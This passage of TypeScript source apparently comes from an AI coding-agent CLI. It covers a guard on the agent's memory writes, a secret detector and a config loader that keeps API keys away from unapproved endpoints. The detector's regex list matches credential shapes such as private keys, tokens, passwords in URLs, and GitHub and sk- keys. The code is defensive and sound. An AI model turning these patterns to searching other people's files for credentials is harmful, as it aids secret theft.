frontmatterValue(text, 'driver') === 'agent';\n\n/** The message a refusal about a person's file gives. */\nconst OWNED_BY_PERSON =\n 'This session is driven by another agent, so it may change only memories it wrote itself ' +\n '(frontmatter `driver: agent`).';\n\n/**\n * Check a write into the memory directory, and stamp the provenance.\n *\n * @param next The content about to be written, or `null` for a delete.\n * @param prior The file's current content, or `null` for a new file.\n * @returns The content to write in place of `next`, and warnings for the tool to append to its\n * result; or the failure to return instead of writing.\n */\nexport function checkMemoryWrite(\n ctx: ToolContext,\n absPath: string,\n next: string | null,\n prior: string | null,\n): MemoryWriteCheck {\n const memory = ctx.memoryWrite;\n if (!memory) {\n return refuse(\n 'memory_write_unavailable',\n 'Memory is not writable in this session.',\n 'Only the main agent may write memory, and only with memory enabled and autoSave on.',\n );\n }\n const root = canonicalizePath(memory.root);\n const rel = relative(root, canonicalizePath(absPath)).split(sep).join('/');\n const isIndex = rel.toLowerCase() === INDEX_FILE.toLowerCase();\n const learnings = memory.scope === 'learnings';\n\n // 2. Secrets. In the index only what this write adds is judged, so one old line cannot block\n // every later edit of it.\n if (next !== null) {\n let judged = next;\n if (isIndex && prior !== null) {\n const had = new Set(normalizeLines(prior));\n judged = normalizeLines(next)\n .filter((line) => !had.has(line))\n .join('\\n');\n }\n const reason = judged.trim() === '' ? null : looksLikeSecretOrUnfit(judged);\n if (reason) {\n return refuse(\n 'memory_secret_rejected',\n `Memory text ${reason}, so it was not saved.`,\n 'Remove the secret or high-entropy text (keys, tokens, passwords, long random strings) and write the memory again.',\n );\n }\n }\n\n // 3. A session another agent drives writes only what it learned, and changes only its own.\n if (learnings) {\n if (isIndex) {\n if (prior !== null) {\n const kept = new Set(next === null ? [] : normalizeLines(next));\n for (const line of normalizeLines(prior)) {\n if (kept.has(line)) continue;\n const target = entryTarget(line);\n if (target === undefined) continue;\n const file = readMemoryFile(memory.root, target);\n if (file !== null && !isAgentOwned(file)) {\n return refuse(\n 'memory_owned_by_person',\n `The index line for ${target} was changed or removed, but ${target} is not a memory this session wrote. ${OWNED_BY_PERSON}`,\n 'Keep that line as it is; add new lines for what you learned.',\n );\n }\n }\n }\n } else {\n if (next !== null) {\n const type = frontmatterValue(next, 'type');\n if (!type || !DELEGATED_TYPES.includes(type)) {\n return refuse(\n 'memory_type_not_allowed',\n `A memory written by this session needs frontmatter \\`metadata.type\\` of project or reference${type ? ` (got \"${type}\")` : ' (none found)'}.`,\n 'Add a frontmatter block with metadata.type: project or reference. Preferences and feedback are a person’s to record.',\n );\n }\n }\n if (prior !== null && !isAgentOwned(prior)) {\n return refuse(\n 'memory_owned_by_person',\n `${rel} is not a memory this session wrote. ${OWNED_BY_PERSON}`,\n 'Write a new memory file instead.',\n );\n }\n }\n }\n\n if (next === null) return { ok: true, content: null, warnings: [] };\n\n const warnings: string[] = [];\n let content = next;\n\n // 4. Provenance stamp: topic files only; the index is the model's own and carries none.\n if (!isIndex) {\n const stamped = stamp(next, { sessionId: memory.sessionId, driver: learnings });\n content = stamped.text;\n if (stamped.warning) warnings.push(stamped.warning);\n }\n\n // 5. Warnings, which never refuse.\n if (isIndex) {\n const trimmed = content.trim();\n const lines = trimmed.length > 0 ? trimmed.split('\\n').length : 0;\n const bytes = Buffer.byteLength(trimmed);\n if (lines > DEFAULT_MAX_INDEX_LINES || bytes > MAX_INDEX_BYTES) {\n warnings.push(\n `MEMORY.md is ${lines} lines and ${bytes} bytes; only the first ${DEFAULT_MAX_INDEX_LINES} lines or ${MAX_INDEX_BYTES} bytes load in a new session. Merge entries and keep each to one line.`,\n );\n }\n const missing = normalizeLines(content).flatMap((line) => {\n const target = entryTarget(line);\n return target !== undefined && readMemoryFile(memory.root, target) === null ? [target] : [];\n });\n if (missing.length > 0) {\n warnings.push(\n `MEMORY.md points to ${[...new Set(missing)].join(', ')}, which ${missing.length === 1 ? 'does' : 'do'} not exist in the memory directory (yet).`,\n );\n }\n } else if (Buffer.byteLength(content) > TOPIC_FILE_WARN_BYTES) {\n warnings.push(\n `${rel} is ${Buffer.byteLength(content)} bytes; keep a memory file under ${TOPIC_FILE_WARN_BYTES} bytes (one fact per file).`,\n );\n }\n\n return { ok: true, content, warnings };\n}\n\n/**\n * Tell the host a memory file was saved or deleted (`memory saved: x.md`), as the retired\n * `MemorySave` tool did. `MEMORY.md` is the model's own index, not a memory, and is not announced.\n */\nexport function noticeMemoryWrite(\n ctx: ToolContext,\n absPath: string,\n change: 'saved' | 'deleted',\n): void {\n const name = basename(absPath);\n if (name.toLowerCase() === INDEX_FILE.toLowerCase()) return;\n ctx.onNotice?.(`memory ${change}: ${name}`);\n}\n\n/** The tool result text with the guard's warnings appended. */\nexport function withMemoryWarnings(content: string, warnings: readonly string[]): string {\n return warnings.length === 0\n ? content\n : `${content}\\n\\n${warnings.map((w) => `Warning: ${w}`).join('\\n')}`;\n}\n","/**\n * Shared secret / high-entropy text detector.\n *\n * Used by the memory auto-capture path to avoid persisting secrets as memory\n * candidates. Intended to be reused by future log redactors and tool-output\n * scrubbers so the pattern list lives in one place.\n */\n\nexport const SECRET_PATTERNS = [\n /-----BEGIN [A-Z ]*PRIVATE KEY-----/i,\n /\\b(api[_-]?key|token|password|passwd|secret)\\s*[:=]\\s*\\S{8,}/i,\n /https?:\\/\\/[^\\s/]+:[^\\s/]+@/i,\n /\\bgh[pousr]_[A-Za-z0-9_]{20,}\\b/,\n /\\bsk-[A-Za-z0-9_-]{20,}\\b/,\n];\n\n/**\n * Whether `text` contains an explicit credential shape (a private key, an\n * `api_key=`/`token=` assignment, basic-auth in a URL, a GitHub or `sk-` token).\n * Unlike `looksLikeSecretOrUnfit` this does not apply the high-entropy rule,\n * which is sized for a sentence and flags any run of text that names a long\n * path -- the wrong test for a whole user turn.\n */\nexport function containsSecretPattern(text: string): boolean {\n return SECRET_PATTERNS.some((re) => re.test(text));\n}\n\n/**\n * Returns a short reason string when `text` looks like a secret or is\n * otherwise unfit to persist, or `null` when the text is acceptable.\n */\nexport function looksLikeSecretOrUnfit(text: string): string | null {\n const trimmed = text.trim();\n if (trimmed.length === 0) return 'empty';\n if (SECRET_PATTERNS.some((re) => re.test(trimmed))) return 'looks like a secret';\n const longTokens = trimmed.match(/[A-Za-z0-9+/=_-]{48,}/g) ?? [];\n if (longTokens.some((token) => new Set(token).size > 20)) return 'contains high-entropy text';\n return null;\n}\n","import { readFileSync } from 'fs';\nimport type { AgentConfig, RetryConfig } from './types/runtime.js';\nimport { legacyConfigPath, legacyConfigSchema, parseLegacyConfig } from './legacy-config.js';\nimport { parseSecretReference, resolveSecretFilePath } from './secret-reference.js';\nimport {\n emptyWorkspaceProviderGate,\n resolveSettingsWithProviderGate,\n migrateLegacyPermissions,\n settingsLayerPaths,\n applySettingsEnvOverrides,\n} from './settings-loader.js';\nimport {\n environmentModelSelections,\n evaluateLegacyBaseUrl,\n providerPrefixOf,\n withEnvironmentSelections,\n WorkspaceProviderRefusalError,\n type LegacyBaseUrlGate,\n type WithheldModelSelection,\n} from './provider-approvals.js';\nimport { defaultTrustStorePath, loadWorkspaceTrust } from './workspace-trust.js';\nimport { hadRemovedAuthConfiguration } from './settings-removed.js';\nimport type { SettingsResolutionPaths } from './settings-loader.js';\nimport {\n ADVISOR_OFF_VALUE,\n DEFAULT_SETTINGS,\n type CompactStrategy,\n type ResolvedSettings,\n} from './settings.js';\nimport { loadMemoryContext } from './memory-store.js';\nimport { EFFORT_LEVELS, getAvailableEffortLevels, isEffortLevel } from './commands/effort.js';\nimport { createModelWindowStore, type ModelWindowStore } from './model-window-store.js';\nimport { resolveShell } from './shell-selection.js';\n\nconst DEFAULT_OPENAI_BASE_URL = 'https://api.openai.com/v1';\n/** Conservative per-request output budget when a model provides no metadata. */\nexport const DEFAULT_MAX_OUTPUT_TOKENS = 64_000;\n\nexport { legacyConfigSchema };\n\n/**\n * Try to load a legacy .bookrc.json file (v0.1.0 format, deprecated) from the workspace root.\n * Returns partial config if found, null otherwise. Emits a deprecation warning. The parse is\n * `parseLegacyConfig`, which `book trust` and doctor share, so they fingerprint what this reads.\n */\nfunction loadLegacyConfig(workspace: string): Partial<AgentConfig> | null {\n const parsed = parseLegacyConfig(workspace);\n if (!parsed) return null;\n console.warn(\n '⚠ .bookrc.json is deprecated. Move your settings to .book/settings.json (project), ' +\n '.book/settings.local.json (local overrides), or ~/.book/settings.json (user).',\n );\n return {\n model: parsed.model,\n baseUrl: parsed.baseUrl,\n maxTurns: parsed.maxTurns,\n maxTokens: parsed.maxTokens,\n autoCompactEnabled: parsed.autoCompactEnabled,\n animation: parsed.animation,\n accessibility: parsed.accessibility,\n };\n}\n\nexport interface LoadConfigOptions {\n /** Path to an ad-hoc settings file (--settings flag); takes highest priority. */\n settingsOverridePath?: string;\n /** If true, skip all settings.json layers entirely (use defaults + legacy .bookrc.json). */\n noSettings?: boolean;\n /** Run storage migrations after effective settings are validated. */\n runMigrations?: boolean;\n /** CLI -m/--model override, applied before provider registry resolution. */\n modelOverride?: string;\n /**\n * CLI --effort override. Passed in rather than assigned after the fact so it\n * counts as an explicit choice: model metadata must not override a level the\n * user typed, and providers that gate on `effortExplicit` must see it.\n */\n effortOverride?: AgentConfig['effort'];\n /**\n * Redirect individual settings layers. Pointing one at a path that does not\n * exist drops it from the merge, which is how `book doctor` finds the layer a\n * failure first appears in.\n */\n settingsPaths?: SettingsResolutionPaths;\n /** Let the interactive TUI start before a BYOK credential has been added. */\n allowMissingApiKey?: boolean;\n /** Optional store for learned context window ceilings. */\n modelWindowStore?: ModelWindowStore;\n}\n\nexport function loadConfig(workspace?: string, options?: LoadConfigOptions): AgentConfig {\n const settingsOverridePath = options?.settingsOverridePath;\n const noSettings = options?.noSettings ?? false;\n const resolvedWorkspace = workspace || process.env.BOOK_WORKSPACE || process.cwd();\n\n // Resolve layered settings.json from user/project/local scopes, or skip\n // entirely when --no-settings is set (useful for scripted/isolated runs).\n const resolveLayers = () =>\n noSettings\n ? { settings: structuredClone(DEFAULT_SETTINGS), providerGate: emptyWorkspaceProviderGate() }\n : resolveSettingsWithProviderGate(\n resolvedWorkspace,\n settingsOverridePath,\n options?.settingsPaths,\n );\n let { settings, providerGate } = resolveLayers();\n\n if (!noSettings && options?.runMigrations) {\n const migrated = migrateLegacyPermissions(resolvedWorkspace, undefined, settings);\n if (migrated) ({ settings, providerGate } = resolveLayers());\n }\n\n // The startup splash is on by default, so anything that drives Book rather\n // than using it has to switch it off — and a settings layer is the wrong place\n // to say so, since Book reads one and a driver would have to merge whatever the\n // user passes. The variable outranks every layer, as `BOOK_MODEL` does for\n // `model`, and lands on the resolved settings so `shouldPlayStartupFire` and\n // `/config` read the same value.\n settings = applySettingsEnvOverrides(settings);\n\n // Load legacy .bookrc.json (deprecated) only after settings availability is accepted.\n const legacy = loadLegacyConfig(resolvedWorkspace);\n\n // Resolve retry configuration: env vars take precedence over settings.json.\n const retry: RetryConfig = {\n maxAttempts: process.env.BOOK_RETRY_MAX_ATTEMPTS\n ? clampInt(process.env.BOOK_RETRY_MAX_ATTEMPTS, 0, 15)\n : (settings.retry?.maxAttempts ?? DEFAULT_SETTINGS.retry.maxAttempts),\n baseDelayMs: process.env.BOOK_RETRY_BASE_DELAY_MS\n ? clampInt(process.env.BOOK_RETRY_BASE_DELAY_MS, 100, 60000)\n : (settings.retry?.baseDelayMs ?? DEFAULT_SETTINGS.retry.baseDelayMs),\n maxDelayMs: process.env.BOOK_RETRY_MAX_DELAY_MS\n ? clampInt(process.env.BOOK_RETRY_MAX_DELAY_MS, 100, 300000)\n : (settings.retry?.maxDelayMs ?? DEFAULT_SETTINGS.retry.maxDelayMs),\n totalBudgetMs: process.env.BOOK_RETRY_TOTAL_BUDGET_MS\n ? clampInt(process.env.BOOK_RETRY_TOTAL_BUDGET_MS, 0, 600000)\n : (settings.retry?.totalBudgetMs ?? DEFAULT_SETTINGS.retry.totalBudgetMs),\n requestTimeoutMs: process.env.BOOK_REQUEST_TIMEOUT_MS\n ? clampInt(process.env.BOOK_REQUEST_TIMEOUT_MS, 5000, 600000)\n : (settings.retry?.requestTimeoutMs ?? DEFAULT_SETTINGS.retry.requestTimeoutMs),\n streamStallTimeoutMs: process.env.BOOK_STREAM_STALL_TIMEOUT_MS\n ? clampInt(process.env.BOOK_STREAM_STALL_TIMEOUT_MS, 5000, 120000)\n : (settings.retry?.streamStallTimeoutMs ?? DEFAULT_SETTINGS.retry.streamStallTimeoutMs),\n thinkingStallTimeoutMs: process.env.BOOK_THINKING_STALL_TIMEOUT_MS\n ? clampInt(process.env.BOOK_THINKING_STALL_TIMEOUT_MS, 10_000, 1_800_000)\n : (settings.retry?.thinkingStallTimeoutMs ?? DEFAULT_SETTINGS.retry.thinkingStallTimeoutMs),\n firstDeltaStallTimeoutMs: process.env.BOOK_FIRST_DELTA_STALL_TIMEOUT_MS\n ? clampInt(process.env.BOOK_FIRST_DELTA_STALL_TIMEOUT_MS, 5_000, 1_800_000)\n : (settings.retry?.firstDeltaStallTimeoutMs ??\n DEFAULT_SETTINGS.retry.firstDeltaStallTimeoutMs),\n toolRetries: process.env.BOOK_TOOL_RETRIES\n ? clampInt(process.env.BOOK_TOOL_RETRIES, 0, 3)\n : (settings.retry?.toolRetries ?? DEFAULT_SETTINGS.retry.toolRetries),\n watchdog: process.env.BOOK_RETRY_WATCHDOG === '1' || settings.retry?.watchdog === true,\n streamReissueAttempts: process.env.BOOK_STREAM_REISSUE_ATTEMPTS\n ? clampInt(process.env.BOOK_STREAM_REISSUE_ATTEMPTS, 0, 10)\n : (settings.retry?.streamReissueAttempts ?? DEFAULT_SETTINGS.retry.streamReissueAttempts),\n outputCapContinuations:\n settings.retry?.outputCapContinuations ?? DEFAULT_SETTINGS.retry.outputCapContinuations,\n };\n\n const memoryContext = settings.memory.enabled ? loadMemoryContext(resolvedWorkspace) : undefined;\n\n const envMaxTokens = parsePositiveInt(process.env.BOOK_MAX_TOKENS, 'BOOK_MAX_TOKENS');\n const maxTokensExplicit =\n envMaxTokens !== undefined ||\n settings.maxTokens !== undefined ||\n legacy?.maxTokens !== undefined;\n // \"Explicit\" means a human chose this level -- by flag, env var, or settings --\n // as opposed to a default or a value inferred from model metadata. Both\n // consumers depend on that one meaning: applyModelDefaults declines to override\n // an explicit level, and the OpenAI-compatible path sends `reasoning_effort`\n // only for one. Omitting the flag left `--effort` accepted, reported, and\n // discarded on that path.\n const effortExplicit = Boolean(\n options?.effortOverride || process.env.BOOK_EFFORT || settings.effort,\n );\n // A legacy `.bookrc.json` `model` is a workspace layer's selection, and the lowest: it applies\n // only when nothing above it names a model. Naming a withheld workspace provider, it gives way\n // to the default, as a `model` in a settings layer gives way to the trusted layers' (#418).\n const withheldIds = new Set(providerGate.withheld);\n const selectedModel = options?.modelOverride || process.env.BOOK_MODEL || settings.model;\n const legacyPrefix =\n selectedModel || legacy?.model === undefined ? undefined : providerPrefixOf(legacy.model);\n const withheldLegacyModel: WithheldModelSelection | undefined =\n legacy?.model !== undefined && legacyPrefix !== undefined && withheldIds.has(legacyPrefix)\n ? {\n key: 'model',\n value: legacy.model,\n providerId: legacyPrefix,\n path: legacyConfigPath(resolvedWorkspace),\n fallback: undefined,\n }\n : undefined;\n const rawModel = selectedModel || (withheldLegacyModel ? undefined : legacy?.model) || 'gpt-4o';\n const compactModel = process.env.BOOK_COMPACT_MODEL || settings.compactModel;\n const advisorModel = process.env.BOOK_ADVISOR_MODEL || settings.advisorModel;\n const compactEffort = settings.compactEffort;\n const compactStrategy: CompactStrategy = 'summary';\n // Resolved once here: the Bash tool, the system prompt, and `book doctor`\n // must all name the same shell for the whole session.\n const shell = resolveShell({ requested: settings.shell });\n const defaultApiKey = process.env.BOOK_API_KEY || '';\n // A `.bookrc.json` `baseUrl` receives BOOK_API_KEY, and the file ships with a repository, so it\n // is honoured only once the user has approved that exact URL (#418). `--no-settings` reads no\n // settings layer, but the decision lives in the trust store, so it is still consulted.\n const legacyBaseUrlGate: LegacyBaseUrlGate | undefined =\n legacy?.baseUrl === undefined\n ? undefined\n : {\n baseUrl: legacy.baseUrl,\n state: evaluateLegacyBaseUrl(\n noSettings\n ? loadWorkspaceTrust(\n resolvedWorkspace,\n options?.settingsPaths?.trustStorePath ??\n defaultTrustStorePath(options?.settingsPaths?.home),\n ).workspaceProviders\n : settings.workspaceProviders,\n legacy.baseUrl,\n ),\n };\n const legacyBaseUrl =\n legacyBaseUrlGate?.state === 'approved' ? legacyBaseUrlGate.baseUrl : undefined;\n const explicitBaseUrl = process.env.BOOK_BASE_URL || legacyBaseUrl;\n const defaultProviderOverride = validateProvider(process.env.BOOK_PROVIDER) || 'auto';\n\n const defaultBaseUrl = explicitBaseUrl || DEFAULT_OPENAI_BASE_URL;\n const defaultMaxTokens =\n envMaxTokens ?? settings.maxTokens ?? legacy?.maxTokens ?? DEFAULT_MAX_OUTPUT_TOKENS;\n const defaultEffort =\n options?.effortOverride || validateEffort(process.env.BOOK_EFFORT) || settings.effort || 'high';\n const defaultProvider = defaultProviderOverride;\n\n let config: AgentConfig = {\n apiKey: defaultApiKey,\n baseUrl: defaultBaseUrl,\n model: rawModel,\n modelSelection: rawModel,\n compactModel,\n advisorModel,\n compactEffort,\n compactStrategy,\n // Undefined = unlimited. Only set when env/settings/legacy explicitly provide a value.\n maxTurns: process.env.BOOK_MAX_TURNS\n ? parseInt(process.env.BOOK_MAX_TURNS, 10)\n : (settings.maxTurns ?? legacy?.maxTurns),\n maxTokens: defaultMaxTokens,\n maxTokensExplicit,\n defaultMaxTokens,\n effortExplicit,\n defaultEffort,\n defaultApiKey,\n defaultBaseUrl,\n defaultBaseUrlExplicit: Boolean(process.env.BOOK_BASE_URL),\n workspaceProviderGate: {\n ...providerGate,\n withheldSelections: withheldLegacyModel\n ? [...providerGate.withheldSelections, withheldLegacyModel]\n : providerGate.withheldSelections,\n // What `--model` and the environment chose counts too: those outrank every settings layer.\n unaffectedSelections: withEnvironmentSelections(\n providerGate.unaffectedSelections,\n environmentModelSelections(options?.modelOverride),\n withheldIds,\n ),\n legacyBaseUrl: legacyBaseUrlGate,\n },\n defaultProvider,\n autoCompactEnabled: settings.autoCompactEnabled ?? legacy?.autoCompactEnabled ?? true,\n workspace: resolvedWorkspace,\n animation: legacy?.animation || { typewriterSpeed: 3, spinnerStyle: 'braille' },\n accessibility: legacy?.accessibility || { screenReader: false, reducedMotion: false },\n settings,\n shell,\n settingsContext: {\n overridePath: settingsOverridePath,\n noSettings,\n },\n retry,\n memoryContext,\n effort: defaultEffort,\n provider: defaultProvider,\n modelWindowStore: options?.modelWindowStore ?? createModelWindowStore(),\n };\n\n // Every source of `rawModel` is the user's, or a workspace's that is not withheld: the loader\n // replaced a withheld workspace selection above. One naming a withheld provider is therefore\n // the user's own vendor-namespaced id, and resolves as the plain fallback.\n config = applyModelDefaults(\n resolveModelProviderConfig(config, rawModel, { trustedSelection: true }),\n );\n // A withheld provider's prefix is reported as such, not as an unconfigured one.\n const rawPrefix = providerPrefixOf(rawModel);\n config.modelProviderWarning =\n rawPrefix !== undefined && withheldIds.has(rawPrefix)\n ? undefined\n : describeUnresolvedProviderPrefix(settings.provider, rawModel.trim());\n\n if (!config.apiKey && !options?.allowMissingApiKey) {\n // Someone whose only credential was a subscription profile arrives here\n // after their `auth` block was silently discarded by validation. Telling\n // them to set a key they never had describes a user who configured\n // nothing, not one whose working configuration was removed.\n throw new Error(\n 'BOOK_API_KEY or provider.<id>.apiKey not set. Set BOOK_API_KEY ' +\n 'or use {env:VAR} in settings.' +\n (hadRemovedAuthConfiguration(\n noSettings\n ? []\n : settingsLayerPaths(resolvedWorkspace, settingsOverridePath, options?.settingsPaths),\n process.env,\n )\n ? '\\n\\nSubscription authentication (`book auth login`) was removed in this version, ' +\n 'and Book authenticates with API keys only. The auth configuration still on this ' +\n 'machine is no longer read; `book doctor` lists it and what to delete.'\n : ''),\n );\n }\n\n return config;\n}\n\n/**\n * The key for a request routed to `baseUrl` whose own configuration names none:\n * BOOK_API_KEY, or else the key `config` already sends -- but only to the endpoint\n * it already sends it to. A key from `provider.anthropic` carried to another\n * provider's endpoint is the user's Anthropic key handed to another vendor: an\n * unprefixed `advisorModel` sent it to api.openai.com on every consult (#419).\n * With neither, the request goes out without a key, and fails as one.\n */\nfunction inheritedApiKey(config: AgentConfig, baseUrl: string): string {\n // `||`, not `??`: `defaultApiKey` is `''` when BOOK_API_KEY is unset, and an\n // empty string is present as far as `??` is concerned. Switching models would\n // then wipe a key that came from a provider entry and send every later request\n // out with an empty credential.\n if (config.defaultApiKey) return config.defaultApiKey;\n return sameEndpoint(baseUrl, config.baseUrl) ? config.apiKey : '';\n}\n\n/**\n * Whether two base URLs name one endpoint: trailing slashes and the case of the scheme and\n * host do not matter, while a different host, port, scheme or path does. A string `new URL()`\n * rejects is compared as written, trimmed.\n */\nfunction sameEndpoint(a: string, b: string): boolean {\n const normalise = (raw: string): string => {\n const trimmed = raw.trim();\n try {\n const url = new URL(trimmed);\n // `URL` lowercases the scheme and host, and drops a default port; only the path's\n // trailing slashes are ours to strip. Credentials stay: they are part of the endpoint.\n const auth = url.username || url.password ? `${url.username}:${url.password}@` : '';\n return `${url.protocol}//${auth}${url.host}${url.pathname.replace(/\\/+$/, '')}${url.search}`;\n } catch {\n return trimmed.replace(/\\/+$/, '');\n }\n };\n return normalise(a) === normalise(b);\n}\n\nfunction plainModelConfig(config: AgentConfig, model: string): AgentConfig {\n const baseUrl = config.defaultBaseUrl || config.baseUrl;\n return {\n ...config,\n apiKey: inheritedApiKey(config, baseUrl),\n baseUrl,\n model,\n modelSelection: model,\n modelInfo: undefined,\n provider: config.defaultProvider ?? config.provider,\n };\n}\n\n/** Whether a human chose the config's effort level; see `AgentConfig.effortChosen`. */\nexport function isEffortChosen(\n config: Pick<AgentConfig, 'effortChosen' | 'effortExplicit'>,\n): boolean {\n return config.effortChosen ?? config.effortExplicit === true;\n}\n\nexport function applyModelDefaults(config: AgentConfig): AgentConfig {\n const maxTokens = config.maxTokensExplicit\n ? config.maxTokens\n : (config.modelInfo?.maxOutputTokens ?? config.defaultMaxTokens ?? config.maxTokens);\n\n let effort = config.effort;\n if (!isEffortChosen(config)) {\n if (config.modelInfo?.effort === false) {\n effort = undefined;\n } else if (typeof config.modelInfo?.effort === 'object' && config.modelInfo.effort.default) {\n effort = config.modelInfo.effort.default;\n } else {\n effort = config.defaultEffort ?? effort;\n }\n }\n\n return { ...config, maxTokens, effort };\n}\n\n/** Freeze resolved configuration so runtime code cannot acquire mutable session state. */\nexport function freezeAgentConfig(config: AgentConfig): AgentConfig {\n return deepFreeze(config);\n}\n\nfunction deepFreeze<T>(value: T): T {\n if (!value || typeof value !== 'object' || Object.isFrozen(value)) return value;\n Object.freeze(value);\n for (const child of Object.values(value)) deepFreeze(child);\n return value;\n}\n\n/**\n * Describe a `<prefix>/` in a model id that matches no configured provider.\n *\n * The two forms are spelled identically: `9router/qc/qwen3.7-max` names a\n * configured provider, while `meta-llama/llama-3-70b` is one vendor-namespaced\n * model id that an OpenAI-compatible endpoint expects verbatim. An unmatched\n * prefix therefore cannot be rejected -- falling back to the plain id is right\n * for the second form, and that fallback is why nothing was ever said about the\n * first.\n *\n * Once the user has configured providers at all, though, a prefix matching none\n * of them is far more likely a typo than a namespace, and the fallback quietly\n * substitutes `https://api.openai.com/v1` -- an endpoint they never chose, for a\n * vendor that has never heard of the model. The only symptom is a separate\n * \"credentials not resolved\" line, which sends them looking for a missing key\n * rather than a misspelled provider id.\n */\nexport function describeUnresolvedProviderPrefix(\n providers: ResolvedSettings['provider'],\n rawModel: string,\n): string | undefined {\n const slash = rawModel.indexOf('/');\n if (slash <= 0 || slash === rawModel.length - 1) return undefined;\n\n const prefix = rawModel.slice(0, slash);\n const configured = Object.keys(providers);\n if (configured.length === 0 || configured.includes(prefix)) return undefined;\n\n return (\n `Model \"${rawModel}\" names provider \"${prefix}\", which is not configured ` +\n `(configured: ${[...configured].sort().join(', ')}). ` +\n `Treating the whole id as a model name against the default endpoint. ` +\n `Add provider.${prefix} to settings, or use one of the configured ids.`\n );\n}\n\n/** Whether the workspace declared `providerId` and it is not in `settings.provider`. */\nexport function isWithheldWorkspaceProvider(config: AgentConfig, providerId: string): boolean {\n return (\n !Object.hasOwn(config.settings.provider, providerId) &&\n (config.workspaceProviderGate?.withheld.includes(providerId) ?? false)\n );\n}\n\n/** How a caller knows where a model id came from; see {@link resolveModelProviderConfig}. */\nexport interface ModelResolutionOptions {\n /**\n * The id is one the user chose (`--model`, `BOOK_MODEL`, their own settings, a model picked in\n * the session), or a workspace one the loader has already vetted. An id of that kind whose\n * prefix names only a withheld workspace provider is a vendor-namespaced model id the workspace\n * happens to share a prefix with, and resolves as the plain fallback.\n */\n trustedSelection?: boolean;\n}\n\n/**\n * Resolve \"provider/model\" strings through settings.provider, OpenCode-style.\n *\n * An id whose prefix names a provider the workspace declared and the user has not approved is not\n * \"no provider\" when the id came from a workspace-controlled place (an agent definition's `model`,\n * a model-chosen spawn argument): that throws {@link WorkspaceProviderRefusalError} naming the\n * command that decides it. The user's own selections opt out with `trustedSelection` (#418).\n *\n * The id is read trimmed, by `providerPrefixOf`, the same function the loader's gate uses to find\n * the provider an id names, so the two cannot disagree.\n */\nexport function resolveModelProviderConfig(\n config: AgentConfig,\n rawModel = config.model,\n options: ModelResolutionOptions = {},\n): AgentConfig {\n const selection = rawModel.trim();\n const providerId = providerPrefixOf(selection);\n if (providerId === undefined) return plainModelConfig(config, selection);\n if (providerId.length === selection.length - 1) {\n throw new Error(`Invalid model \"${selection}\". Expected \"provider/model\".`);\n }\n\n const model = selection.slice(providerId.length + 1);\n // Own properties only: `constructor/x` names no provider, however `{}` answers for it.\n if (!Object.hasOwn(config.settings.provider, providerId)) {\n // A provider the workspace declared and the user has not approved is not \"no provider\" for an\n // id the workspace controls: the plain fallback would send it to the default endpoint with\n // BOOK_API_KEY (#418).\n if (!options.trustedSelection && isWithheldWorkspaceProvider(config, providerId)) {\n throw new WorkspaceProviderRefusalError(providerId, selection, config.workspace);\n }\n return plainModelConfig(config, selection);\n }\n const provider = config.settings.provider[providerId];\n\n const baseUrl = provider.baseURL ?? provider.baseUrl ?? config.defaultBaseUrl ?? config.baseUrl;\n // A provider only the workspace declares sends its own key or none: the user's key does not\n // follow an origin the repository named, however the user came to approve the entry (#418).\n const apiKey = config.workspaceProviderGate?.declared.includes(providerId)\n ? (resolveSecret(provider.apiKey, config.workspace) ?? '')\n : (resolveSecret(provider.apiKey, config.workspace) ?? inheritedApiKey(config, baseUrl));\n return {\n ...config,\n apiKey,\n baseUrl,\n model,\n modelSelection: selection,\n modelInfo: provider.models[model],\n provider: provider.type,\n };\n}\n\n/**\n * Clamp an effort down to the highest level the model's catalog lists at or\n * below it. A catalog that disables effort gets none. A catalog entry without a\n * `levels` list, and a model without a catalog entry, keep the effort as asked;\n * an empty `levels` list exposes no choices, and gets none. When the catalog\n * lists no level at or below it, a defaulted effort gets none -- an unlisted\n * level is a 400 on a strict endpoint, and the clamp never goes back up -- while\n * `raiseToLowest` (a level someone chose) takes the lowest listed level instead,\n * the nearest the model offers to what was asked.\n */\nexport function clampEffortToCatalog(\n config: Pick<AgentConfig, 'model' | 'modelSelection' | 'modelInfo'>,\n effort: AgentConfig['effort'],\n options: { raiseToLowest?: boolean } = {},\n): AgentConfig['effort'] {\n const levels = getAvailableEffortLevels(config);\n if (levels === null || effort === undefined) return undefined;\n const ceiling = EFFORT_LEVELS.indexOf(effort);\n const clamped = levels.filter((level) => EFFORT_LEVELS.indexOf(level) <= ceiling).at(-1);\n return clamped ?? (options.raiseToLowest ? levels[0] : undefined);\n}\n\n/**\n * The effort of a request on the compact model. A checkpoint does not need\n * minutes of reasoning, and at `--effort max` on a slow route the reducer's\n * request produced no byte for long enough that the proxy dropped it, ten times\n * over (#214). The target is\n * `compactEffort`, or else the session's effort capped at `medium`, clamped to\n * the compact model's catalog: it never falls back to the uncapped session effort.\n */\nfunction compactModelEffort(config: AgentConfig): AgentConfig['effort'] {\n const cap = EFFORT_LEVELS.indexOf('medium');\n const target =\n config.compactEffort ??\n (config.effort && EFFORT_LEVELS.indexOf(config.effort) > cap ? 'medium' : config.effort);\n // An explicit `compactEffort` is a choice for this model: below every listed level it takes the\n // lowest one. The session's capped effort never goes back up.\n return clampEffortToCatalog(config, target, {\n raiseToLowest: config.compactEffort !== undefined,\n });\n}\n\n/**\n * Whether a request sends its effort: the `effortExplicit` flag, which is what\n * makes the OpenAI-compatible path send `reasoning_effort`. A strict endpoint\n * answers an effort for a model that does not reason with a 400 that is not\n * retried, so a request sends one only when a level was chosen for it, or when\n * its model's catalog lists that level. With neither -- the default `gpt-4o`, or\n * any model without a catalog entry -- it carries none, like the main agent's.\n * Every request on the compact model, and every managed child, decides by this\n * one rule. A catalog entry without a `levels` list that names a `default` says\n * the model takes an effort, and lists every level, as `getAvailableEffortLevels`\n * and `/effort` read it; an entry that names neither (`effort: {}`) lists none.\n */\nexport function resolveEffortExplicit(\n config: Pick<AgentConfig, 'modelInfo'>,\n effort: AgentConfig['effort'],\n chosen: boolean,\n): boolean {\n if (effort === undefined) return false;\n if (chosen) return true;\n const catalog = config.modelInfo?.effort;\n if (typeof catalog !== 'object') return false;\n return catalog.levels ? catalog.levels.includes(effort) : catalog.default !== undefined;\n}\n\n/**\n * True when compaction runs on the session's own model rather than a distinct\n * compact model: no compact model is configured, or it matches the session's\n * model selection or bare model name.\n */\nexport function compactsOnSessionModel(\n config: Pick<AgentConfig, 'compactModel' | 'settings' | 'model' | 'modelSelection'>,\n): boolean {\n const compactModel = config.compactModel?.trim() || config.settings?.compactModel?.trim();\n return !compactModel || compactModel === 